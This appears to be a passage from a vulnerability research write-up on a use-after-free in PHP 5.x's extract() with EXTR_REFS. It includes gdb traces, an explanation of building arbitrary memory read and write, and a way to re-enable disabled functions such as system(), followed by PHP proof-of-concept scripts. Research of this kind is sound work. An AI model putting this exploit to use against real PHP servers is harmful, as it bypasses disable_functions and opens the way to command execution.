(gdb) p/x 0x555556037b10+0x10
$7883 = 0x555556037b20
(gdb) s
1984    }
(gdb) 
_emalloc (size=32) at /home/x/versions/php-5.3.29/Zend/zend_alloc.c:2351
2351    }
(gdb) 

Correlating the cache with the allocations from the exploit.

$var1 = 666; // $var1 = 0x555556037dc0
$var2  = "AAAAAAAAAAAAAAAAAAAAAAAA"; // $var2 = 0x555556037df0, "AAAAAAAAAAAAAAAAAAAAAAAA" = 0x555556037b10
$var3 = 777; // $var3 = 0x555556037e20
$var4 = array($empty); $var4 = 0x555556037b10

We have now overlapped a string and array zval.

Exploitation Path

If we print_hex($var2) we get the zval from $var4 that leaks the HashTable pointer.

Arbitrary Read is achieved by setting the type to string (0x6) and modifying the zvals zvalue_value.str.val and zvalue_value.str.len as the str is a char * this allows us to provide a pointer to read/write from/to.

Arbitrary Write is achieved the same way by pointing the zvalue_value.str.val and zvalue_value.str.len to the destination to write to then using array indices to write to the destination as if it were string indices.

Continuing.
PHP Notice:  Undefined variable: empty in /home/x/exploit/ssd/basic_debug.php on line 34
\x50\x7b\x03\x56\x55\x55\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00
ptype zval
type = struct _zval_struct {
    zvalue_value value;
    zend_uint refcount__gc;
    zend_uchar type;
    zend_uchar is_ref__gc;
}
ptype zvalue_value
type = union _zvalue_value {
    long lval;
    double dval;
    struct {
        char *val;
        int len;
    } str;
    HashTable *ht;
    zend_object_value obj;
}
(gdb) ptype HashTable
type = struct _hashtable {
    uint nTableSize;
    uint nTableMask;
    uint nNumOfElements;
    ulong nNextFreeElement;
    Bucket *pInternalPointer;
    Bucket *pListHead;
    Bucket *pListTail;
    Bucket **arBuckets;
    dtor_func_t pDestructor;
    zend_bool persistent;
    unsigned char nApplyCount;
    zend_bool bApplyProtection;
}
ptype Bucket
type = struct bucket {
    ulong h;
    uint nKeyLength;
    void *pData;
    void *pDataPtr;
    struct bucket *pListNext;
    struct bucket *pListLast;
    struct bucket *pNext;
    struct bucket *pLast;
    char arKey[1];
}

Viewing the allocated zval from the cache / earlier we can verify the leaked address is that of the HashTable:

(gdb) print *(zval*)0x555556037b20
$7907 = {value = {lval = 93825003649872, dval = 4.6355711024331324e-310, str = {val = 0x555556037b50 "\b", len = 0}, ht = 0x555556037b50, obj = {
      handle = 1443068752, handlers = 0x0}}, refcount__gc = 1, type = 4 '\004', is_ref__gc = 0 '\000'}

(gdb) p *(HashTable*)0x555556037b50
$7892 = {nTableSize = 8, nTableMask = 7, nNumOfElements = 1, nNextFreeElement = 1, pInternalPointer = 0x555556038060, pListHead = 0x555556038060, 
  pListTail = 0x555556038060, arBuckets = 0x555556020428, pDestructor = 0x55555599c876 <_zval_ptr_dtor>, persistent = 0 '\000', nApplyCount = 0 '\000', 
  bApplyProtection = 1 '\001'}

Allocating an array with an uninitialized_zval allows us to find executor_globals as HashTable->arBuckets->pDataPtr will point to executor_globals->unintialized_zval. As discussed by Stefan Esser in ’09

(gdb) p (*(HashTable*)0x555556037b50)->arBuckets[0].pDataPtr 
$7902 = (void *) 0x555555e65988 <executor_globals+8>

After finding executor_globals we need to find the function_table offset. This is at a fixed offset from the error_reporting entry on 5.X.

To find the function_table we can set the error_reporting to a magic value and search for the value to calculate the function_table offset/address.

    error_reporting(41424142); // set executor_globals.error_reporting to 41424142
    for($i = 0; $i < $chunks; $i++, $executor_globals+=$sizeof_int) {
      $value = intval(bin2uint(peek_mem($executor_globals, $sizeof_int)));
      switch($value){
        case 41424142:
            $executor_globals += 8 * 3;
            $found = bin2uint(peek_mem($executor_globals, $sizeof_ptr));
ptype executor_globals
type = struct _zend_executor_globals {
    zval **return_value_ptr_ptr;
    zval uninitialized_zval;
    zval *uninitialized_zval_ptr;
    zval error_zval;
    zval *error_zval_ptr;
    zend_ptr_stack arg_types_stack;
    HashTable *symtable_cache[32];
    HashTable **symtable_cache_limit;
    HashTable **symtable_cache_ptr;
    zend_op **opline_ptr;
    HashTable *active_symbol_table;
    HashTable symbol_table;
    HashTable included_files;
    jmp_buf *bailout;
    int error_reporting;
    int orig_error_reporting;
    int exit_status;
    zend_op_array *active_op_array;
    HashTable *function_table;
    HashTable *class_table;
    HashTable *zend_constants;
    zend_class_entry *scope;
    zend_class_entry *called_scope;
    zval *This;
    long precision;
    int ticks_count;
    zend_bool in_execution;
    HashTable *in_autoload;
    zend_function *autoload_func;
    zend_bool full_tables_cleanup;
    zend_bool no_extensions;
    HashTable regular_list;
    HashTable persistent_list;
    zend_vm_stack argument_stack;
    int user_error_handler_error_reporting;
    zval *user_error_handler;
    zval *user_exception_handler;
    zend_stack user_error_handlers_error_reporting;
    zend_ptr_stack user_error_handlers;
    zend_ptr_stack user_exception_handlers;
    zend_error_handling_t error_handling;
    zend_class_entry *exception_class;
    int timeout_seconds;
    int lambda_count;
    HashTable *ini_directives;
    HashTable *modified_ini_directives;
    zend_objects_store objects_store;
    zval *exception;
    zval *prev_exception;
    zend_op *opline_before_exception;
    zend_op exception_op[3];
    struct _zend_execute_data *current_execute_data;
    struct _zend_module_entry *current_module;
    zend_property_info std_property_info;
    zend_bool active;
    void *saved_fpu_cw;
    void *reserved[4];
}

We can parse the function table to find the zend_internal_function using print_htptr from php’s .gdbinit:

print_htptr executor_globals.function_table
[0x55e79a70] {
  "zend_version\0" => 0x555555e7a740
  "func_num_args\0" => 0x555555e7a890
  "func_get_arg\0" => 0x555555e7a9e0
  "func_get_args\0" => 0x555555e7ab30
  "strlen\0" => 0x555555e7ac80
..
 "constant\0" => 0x555555ea6610
 "system\0" => 0x555555eb0420
..
}

When a function is disabled it simply replaces the handler with a special handler for zif_display_disabled_function:

(gdb) p *(zend_internal_function*)0x555555eb0420
$28 = {type = 1 '\001', function_name = 0x555556002b70 "system", scope = 0x0, fn_flags = 256, prototype = 0x0, num_args = 0, required_num_args = 0, 
  arg_info = 0x0, pass_rest_by_reference = 0 '\000', return_reference = 0 '\000', handler = 0x5555559b7c8e <zif_display_disabled_function>, module = 0x0}
(gdb) 

Finding the zend_internal_function for “constant” leads us to the zend_module_entry for the “standard” PHP functions.

From the zend_module_entry.functions we iterate the zend_function_entry until we find the disabled function entries such as “system” and get the correct handler address for the disabled function to write to the zend_internal_function struct and restore functionality.

(gdb) p *(zend_internal_function*)0x555555ea6610
$33 = {type = 1 '\001', function_name = 0x555555d628fa "constant", scope = 0x0, fn_flags = 256, prototype = 0x0, num_args = 1, required_num_args = 1, 
  arg_info = 0x555555e184c8 <arginfo_constant+40>, pass_rest_by_reference = 0 '\000', return_reference = 0 '\000', handler = 0x55555589c3a8 <zif_constant>, 
  module = 0x555555ea6500}

(gdb) p *(zend_module_entry*)0x555555ea6500
$34 = {size = 168, zend_api = 20090626, zend_debug = 0 '\000', zts = 0 '\000', ini_entry = 0x0, deps = 0x555555e23f00 <standard_deps>, 
  name = 0x555555d641a5 "standard", functions = 0x555555e37f00 <basic_functions>, module_startup_func = 0x55555589b614 <zm_startup_basic>, 
  module_shutdown_func = 0x55555589be44 <zm_shutdown_basic>, request_startup_func = 0x55555589bf1b <zm_activate_basic>, 
  request_shutdown_func = 0x55555589c1f7 <zm_deactivate_basic>, info_func = 0x55555589c367 <zm_info_basic>, version = 0x555555d641ae "5.3.29", 
  globals_size = 0, globals_ptr = 0x0, globals_ctor = 0x0, globals_dtor = 0x0, post_deactivate_func = 0x0, module_started = 1, type = 1 '\001', 
  handle = 0x0, module_number = 23, build_id = 0x555555d641b5 "API20090626,NTS"}
(gdb) 

p *(zend_function_entry *)((char *)0x555555e37f00 + sizeof(zend_function_entry))
$7913 = {fname = 0x555555d62903 "bin2hex", handler = 0x5555558d5e0c <zif_bin2hex>, arg_info = 0x555555e20960 <arginfo_bin2hex>, num_args = 1, flags = 0}
(gdb) p *(zend_function_entry *)((char *)0x555555e37f00 + sizeof(zend_function_entry)*2)
$7914 = {fname = 0x555555d6290b "sleep", handler = 0x55555589dfe9 <zif_sleep>, arg_info = 0x555555e187c0 <arginfo_sleep>, num_args = 1, flags = 0}
(gdb) p *(zend_function_entry *)((char *)0x555555e37f00 + sizeof(zend_function_entry)*3)
$7915 = {fname = 0x555555d62911 "usleep", handler = 0x55555589e0bc <zif_usleep>, arg_info = 0x555555e18820 <arginfo_usleep>, num_args = 1, flags = 0}

Overwriting the disabled zend_internal_function.handler with the address of the disabled functions zend_function_entry re-enables the command.

efree debugging / viewing the frees in realtime
b zif_extract
b _efree
b _zend_mm_free_int

Disable _efree and _zend_mm_free_int bp’s until extract hits:

Breakpoint 6, zif_extract (ht=2, return_value=0x555556037e00, return_value_ptr=0x0, this_ptr=0x0, return_value_used=0) at /home/x/versions/php-5.3.29/ext/standard/array.c:1312
1312    {
(gdb) enable 8 9
(gdb) c
Continuing.

Breakpoint 8, _efree (ptr=0x555556037b20) at /home/x/versions/php-5.3.29/Zend/zend_alloc.c:2357
2357        if (UNEXPECTED(!AG(mm_heap)->use_zend_alloc)) {
(gdb) bt
#0  _efree (ptr=0x555556037b20) at /home/x/versions/php-5.3.29/Zend/zend_alloc.c:2357
#1  0x000055555599c903 in _zval_ptr_dtor (zval_ptr=0x555556037bc0) at /home/x/versions/php-5.3.29/Zend/zend_execute_API.c:446
#2  0x00005555559be3f9 in zend_hash_del_key_or_index (ht=0x555555e65b08 <executor_globals+392>, arKey=0x5555560220a8 "b", nKeyLength=2, h=5863143, flag=0) at /home/x/versions/php-5.3.29/Zend/zend_hash.c:500
#3  0x00005555559dd7ee in zend_symtable_del (ht=0x555555e65b08 <executor_globals+392>, arKey=0x5555560220a8 "b", nKeyLength=2) at /home/x/versions/php-5.3.29/Zend/zend_hash.h:353
#4  0x0000555555a16e0c in ZEND_UNSET_DIM_SPEC_VAR_CONST_HANDLER (execute_data=0x7ffff77354c0) at /home/x/versions/php-5.3.29/Zend/zend_vm_execute.h:10796
#5  0x00005555559e2812 in execute (op_array=0x555556021f70) at /home/x/versions/php-5.3.29/Zend/zend_vm_execute.h:107
#6  0x000055555599ea8c in zend_call_function (fci=0x7fffffffa280, fci_cache=0x7fffffffa250) at /home/x/versions/php-5.3.29/Zend/zend_execute_API.c:967
#7  0x00005555559cae98 in zend_call_method (object_pp=0x7fffffffa340, obj_ce=0x555556021aa0, fn_proxy=0x7fffffffa338, function_name=0x555555d8a4a6 "__destruct", function_name_len=10, retval_ptr_ptr=0x0, param_count=0, arg1=0x0, arg2=0x0)
    at /home/x/versions/php-5.3.29/Zend/zend_interfaces.c:97
#8  0x00005555559d76a4 in zend_objects_destroy_object (object=0x5555560246a0, handle=1) at /home/x/versions/php-5.3.29/Zend/zend_objects.c:112
#9  0x00005555559dcbda in zend_objects_store_del_ref_by_handle_ex (handle=1, handlers=0x555555e4a9c0 <std_object_handlers>) at /home/x/versions/php-5.3.29/Zend/zend_objects_API.c:206
#10 0x00005555559dca1d in zend_objects_store_del_ref (zobject=0x555556037b20) at /home/x/versions/php-5.3.29/Zend/zend_objects_API.c:172
#11 0x00005555559abbd4 in _zval_dtor_func (zvalue=0x555556037b20) at /home/x/versions/php-5.3.29/Zend/zend_variables.c:54
#12 0x000055555599b868 in _zval_dtor (zvalue=0x555556037b20) at /home/x/versions/php-5.3.29/Zend/zend_variables.h:35
#13 0x000055555599c8f7 in _zval_ptr_dtor (zval_ptr=0x555556037bc0) at /home/x/versions/php-5.3.29/Zend/zend_execute_API.c:445
#14 0x000055555588ef6a in zif_extract (ht=2, return_value=0x555556037e00, return_value_ptr=0x0, this_ptr=0x0, return_value_used=0) at /home/x/versions/php-5.3.29/ext/standard/array.c:1442
#15 0x00005555559e3306 in zend_do_fcall_common_helper_SPEC (execute_data=0x7ffff7735050) at /home/x/versions/php-5.3.29/Zend/zend_vm_execute.h:322
#16 0x00005555559e7a48 in ZEND_DO_FCALL_SPEC_CONST_HANDLER (execute_data=0x7ffff7735050) at /home/x/versions/php-5.3.29/Zend/zend_vm_execute.h:1634
#17 0x00005555559e2812 in execute (op_array=0x55555601eeb8) at /home/x/versions/php-5.3.29/Zend/zend_vm_execute.h:107
#18 0x00005555559aeb14 in zend_execute_scripts (type=8, retval=0x0, file_count=3) at /home/x/versions/php-5.3.29/Zend/zend.c:1259
#19 0x0000555555938a2e in php_execute_script (primary_file=0x7fffffffcdb0) at /home/x/versions/php-5.3.29/main/main.c:2316
#20 0x0000555555a98592 in main (argc=2, argv=0x7fffffffe0d8) at /home/x/versions/php-5.3.29/sapi/cli/php_cli.c:1189

Breakpoint 8, _efree (ptr=0x555556037b20) at /home/x/versions/php-5.3.29/Zend/zend_alloc.c:2357
2357        if (UNEXPECTED(!AG(mm_heap)->use_zend_alloc)) {
(gdb) bt
#0  _efree (ptr=0x555556037b20) at /home/x/versions/php-5.3.29/Zend/zend_alloc.c:2357
#1  0x000055555599c903 in _zval_ptr_dtor (zval_ptr=0x7fffffffa218) at /home/x/versions/php-5.3.29/Zend/zend_execute_API.c:446
#2  0x00005555559caf71 in zend_call_method (object_pp=0x7fffffffa340, obj_ce=0x555556021aa0, fn_proxy=0x7fffffffa338, function_name=0x555555d8a4a6 "__destruct", function_name_len=10, retval_ptr_ptr=0x0, param_count=0, arg1=0x0, arg2=0x0)
    at /home/x/versions/php-5.3.29/Zend/zend_interfaces.c:110
#3  0x00005555559d76a4 in zend_objects_destroy_object (object=0x5555560246a0, handle=1) at /home/x/versions/php-5.3.29/Zend/zend_objects.c:112
#4  0x00005555559dcbda in zend_objects_store_del_ref_by_handle_ex (handle=1, handlers=0x555555e4a9c0 <std_object_handlers>) at /home/x/versions/php-5.3.29/Zend/zend_objects_API.c:206
#5  0x00005555559dca1d in zend_objects_store_del_ref (zobject=0x555556037b20) at /home/x/versions/php-5.3.29/Zend/zend_objects_API.c:172
#6  0x00005555559abbd4 in _zval_dtor_func (zvalue=0x555556037b20) at /home/x/versions/php-5.3.29/Zend/zend_variables.c:54
#7  0x000055555599b868 in _zval_dtor (zvalue=0x555556037b20) at /home/x/versions/php-5.3.29/Zend/zend_variables.h:35
#8  0x000055555599c8f7 in _zval_ptr_dtor (zval_ptr=0x555556037bc0) at /home/x/versions/php-5.3.29/Zend/zend_execute_API.c:445
#9  0x000055555588ef6a in zif_extract (ht=2, return_value=0x555556037e00, return_value_ptr=0x0, this_ptr=0x0, return_value_used=0) at /home/x/versions/php-5.3.29/ext/standard/array.c:1442
#10 0x00005555559e3306 in zend_do_fcall_common_helper_SPEC (execute_data=0x7ffff7735050) at /home/x/versions/php-5.3.29/Zend/zend_vm_execute.h:322
#11 0x00005555559e7a48 in ZEND_DO_FCALL_SPEC_CONST_HANDLER (execute_data=0x7ffff7735050) at /home/x/versions/php-5.3.29/Zend/zend_vm_execute.h:1634
#12 0x00005555559e2812 in execute (op_array=0x55555601eeb8) at /home/x/versions/php-5.3.29/Zend/zend_vm_execute.h:107
#13 0x00005555559aeb14 in zend_execute_scripts (type=8, retval=0x0, file_count=3) at /home/x/versions/php-5.3.29/Zend/zend.c:1259
#14 0x0000555555938a2e in php_execute_script (primary_file=0x7fffffffcdb0) at /home/x/versions/php-5.3.29/main/main.c:2316
#15 0x0000555555a98592 in main (argc=2, argv=0x7fffffffe0d8) at /home/x/versions/php-5.3.29/sapi/cli/php_cli.c:1189
(gdb) c
Continuing.

Breakpoint 9, _zend_mm_free_int (heap=0x555555e79150, p=0x555556037b20) at /home/x/versions/php-5.3.29/Zend/zend_alloc.c:1993
1993        if (!ZEND_MM_VALID_PTR(p)) {
(gdb) bt
#0  _zend_mm_free_int (heap=0x555555e79150, p=0x555556037b20) at /home/x/versions/php-5.3.29/Zend/zend_alloc.c:1993
#1  0x0000555555988c7d in _efree (ptr=0x555556037b20) at /home/x/versions/php-5.3.29/Zend/zend_alloc.c:2361
#2  0x000055555599c903 in _zval_ptr_dtor (zval_ptr=0x7fffffffa218) at /home/x/versions/php-5.3.29/Zend/zend_execute_API.c:446
#3  0x00005555559caf71 in zend_call_method (object_pp=0x7fffffffa340, obj_ce=0x555556021aa0, fn_proxy=0x7fffffffa338, function_name=0x555555d8a4a6 "__destruct", function_name_len=10, retval_ptr_ptr=0x0, param_count=0, arg1=0x0, arg2=0x0)
    at /home/x/versions/php-5.3.29/Zend/zend_interfaces.c:110
#4  0x00005555559d76a4 in zend_objects_destroy_object (object=0x5555560246a0, handle=1) at /home/x/versions/php-5.3.29/Zend/zend_objects.c:112
#5  0x00005555559dcbda in zend_objects_store_del_ref_by_handle_ex (handle=1, handlers=0x555555e4a9c0 <std_object_handlers>) at /home/x/versions/php-5.3.29/Zend/zend_objects_API.c:206
#6  0x00005555559dca1d in zend_objects_store_del_ref (zobject=0x555556037b20) at /home/x/versions/php-5.3.29/Zend/zend_objects_API.c:172
#7  0x00005555559abbd4 in _zval_dtor_func (zvalue=0x555556037b20) at /home/x/versions/php-5.3.29/Zend/zend_variables.c:54
#8  0x000055555599b868 in _zval_dtor (zvalue=0x555556037b20) at /home/x/versions/php-5.3.29/Zend/zend_variables.h:35
#9  0x000055555599c8f7 in _zval_ptr_dtor (zval_ptr=0x555556037bc0) at /home/x/versions/php-5.3.29/Zend/zend_execute_API.c:445
#10 0x000055555588ef6a in zif_extract (ht=2, return_value=0x555556037e00, return_value_ptr=0x0, this_ptr=0x0, return_value_used=0) at /home/x/versions/php-5.3.29/ext/standard/array.c:1442
#11 0x00005555559e3306 in zend_do_fcall_common_helper_SPEC (execute_data=0x7ffff7735050) at /home/x/versions/php-5.3.29/Zend/zend_vm_execute.h:322
#12 0x00005555559e7a48 in ZEND_DO_FCALL_SPEC_CONST_HANDLER (execute_data=0x7ffff7735050) at /home/x/versions/php-5.3.29/Zend/zend_vm_execute.h:1634
#13 0x00005555559e2812 in execute (op_array=0x55555601eeb8) at /home/x/versions/php-5.3.29/Zend/zend_vm_execute.h:107
#14 0x00005555559aeb14 in zend_execute_scripts (type=8, retval=0x0, file_count=3) at /home/x/versions/php-5.3.29/Zend/zend.c:1259
#15 0x0000555555938a2e in php_execute_script (primary_file=0x7fffffffcdb0) at /home/x/versions/php-5.3.29/main/main.c:2316
#16 0x0000555555a98592 in main (argc=2, argv=0x7fffffffe0d8) at /home/x/versions/php-5.3.29/sapi/cli/php_cli.c:1189
(gdb) c
Continuing.

...

Breakpoint 8, _efree (ptr=0x555556037b20) at /home/x/versions/php-5.3.29/Zend/zend_alloc.c:2357
2357        if (UNEXPECTED(!AG(mm_heap)->use_zend_alloc)) {
(gdb) bt
#0  _efree (ptr=0x555556037b20) at /home/x/versions/php-5.3.29/Zend/zend_alloc.c:2357
#1  0x000055555599c903 in _zval_ptr_dtor (zval_ptr=0x555556037bc0) at /home/x/versions/php-5.3.29/Zend/zend_execute_API.c:446
#2  0x000055555588ef6a in zif_extract (ht=2, return_value=0x555556037e00, return_value_ptr=0x0, this_ptr=0x0, return_value_used=0) at /home/x/versions/php-5.3.29/ext/standard/array.c:1442
#3  0x00005555559e3306 in zend_do_fcall_common_helper_SPEC (execute_data=0x7ffff7735050) at /home/x/versions/php-5.3.29/Zend/zend_vm_execute.h:322
#4  0x00005555559e7a48 in ZEND_DO_FCALL_SPEC_CONST_HANDLER (execute_data=0x7ffff7735050) at /home/x/versions/php-5.3.29/Zend/zend_vm_execute.h:1634
#5  0x00005555559e2812 in execute (op_array=0x55555601eeb8) at /home/x/versions/php-5.3.29/Zend/zend_vm_execute.h:107
#6  0x00005555559aeb14 in zend_execute_scripts (type=8, retval=0x0, file_count=3) at /home/x/versions/php-5.3.29/Zend/zend.c:1259
#7  0x0000555555938a2e in php_execute_script (primary_file=0x7fffffffcdb0) at /home/x/versions/php-5.3.29/main/main.c:2316
#8  0x0000555555a98592 in main (argc=2, argv=0x7fffffffe0d8) at /home/x/versions/php-5.3.29/sapi/cli/php_cli.c:1189
(gdb) c
Continuing.

Breakpoint 9, _zend_mm_free_int (heap=0x555555e79150, p=0x555556037b20) at /home/x/versions/php-5.3.29/Zend/zend_alloc.c:1993
1993        if (!ZEND_MM_VALID_PTR(p)) {
(gdb) c
Continuing.

..

(gdb) cachex 2
Cache at index [2]:
$7565 = {info = {_size = 49, _prev = 89}, prev_free_block = 0x555556037e20, next_free_block = 0x0, parent = 0xffffffff, child = {0x0, 0x59}}
$7566 = {info = {_size = 49, _prev = 49}, prev_free_block = 0x555556037b10, next_free_block = 0x555555e4a9c0 <std_object_handlers>, parent = 0x500000000, child = {0x0, 0xe9d0}}
$7567 = {info = {_size = 49, _prev = 89}, prev_free_block = 0x555556037e20, next_free_block = 0x0, parent = 0xffffffff, child = {0x0, 0x59}}
$7568 = {info = {_size = 49, _prev = 49}, prev_free_block = 0x555556037b10, next_free_block = 0x555555e4a9c0 <std_object_handlers>, parent = 0x500000000, child = {0x0, 0xe9d0}}
Proof of Concept
<?php

//
// Trigger Segfault
//

class GetFree
{
    public function __destruct()
    {
        unset($GLOBALS["b"]);
    }
}

$b = new GetFree();
$array = ["b" => "AB"];
extract($array, EXTR_REFS);

// avoid string interning using str_shuffle
$var1 = str_shuffle("AAAAAAAAAAAAAAAAAAAAAAAA");
$var2 = 888;
$var3 = 999;
$var4 = 111;
$var5 = [$empty];

sleep(1);
<?php

//
// Trigger HashTable leak on 5.X
//

function print_hex($str)
{
    for ($i = 0; $i < strlen($str); $i++) {
        printf("\\x%02x", ord($str[$i]));
    }
    printf("\n");
}

class GetFree
{
    public function __destruct()
    {
        unset($GLOBALS["b"]);
    }
}

// will be used to create cache entries to be used without crashing when allocating after the free.
$a = [];
for (
    $i = 0;
    $i < 0x250;
    $i++ // 0x250
) {
    array_push($a, $i);
}

$b = new GetFree();
$array = ["b" => "AB"];
extract($array, EXTR_REFS);

sleep(0);

// PHP 5.3 //
$var1 = 666;
// $var2 points to a string type zval we can control the length of for reading and writing via $memory.
$var2 = "AAAAAAAAAAAAAAAAAAAAAAAA";
$var3 = 777;
// we use $var4 to write to memory using $memory - $empty is used as uninitialized zval to find executor_globals from the Bucket->pDataPtr
$var4 = [$empty];
// free additional cache for future allocations.
unset($a);
// print the memory/hex pointed to by $var2/$var4 - since we allocated an array it will dump a HashTable memory structure.
print_hex($var2);

// PHP 5.4/5.5/5.6
// avoid string interning using str_shuffle
/*
$var1 = str_shuffle("AAAAAAAAAAAAAAAAAAAAAAAA");
$var2 = 888;
$var3 = 999;
$var4 = 111;
$var5 = array($empty);
unset($a);
print_hex($var1);
*/

sleep(1);
<?php

// Basic Trigger of the bug without segfaulting - only visible using GDB.
// b zif_sleep
// p alloc_globals.mm_heap.cache[2]

class GetFree
{
    public function __destruct()
    {
        unset($GLOBALS["b"]);
    }
}

$b = new GetFree();
$array = ["b" => "AB"];
extract($array, EXTR_REFS);
sleep(0);

?

Get in touch

Skip to content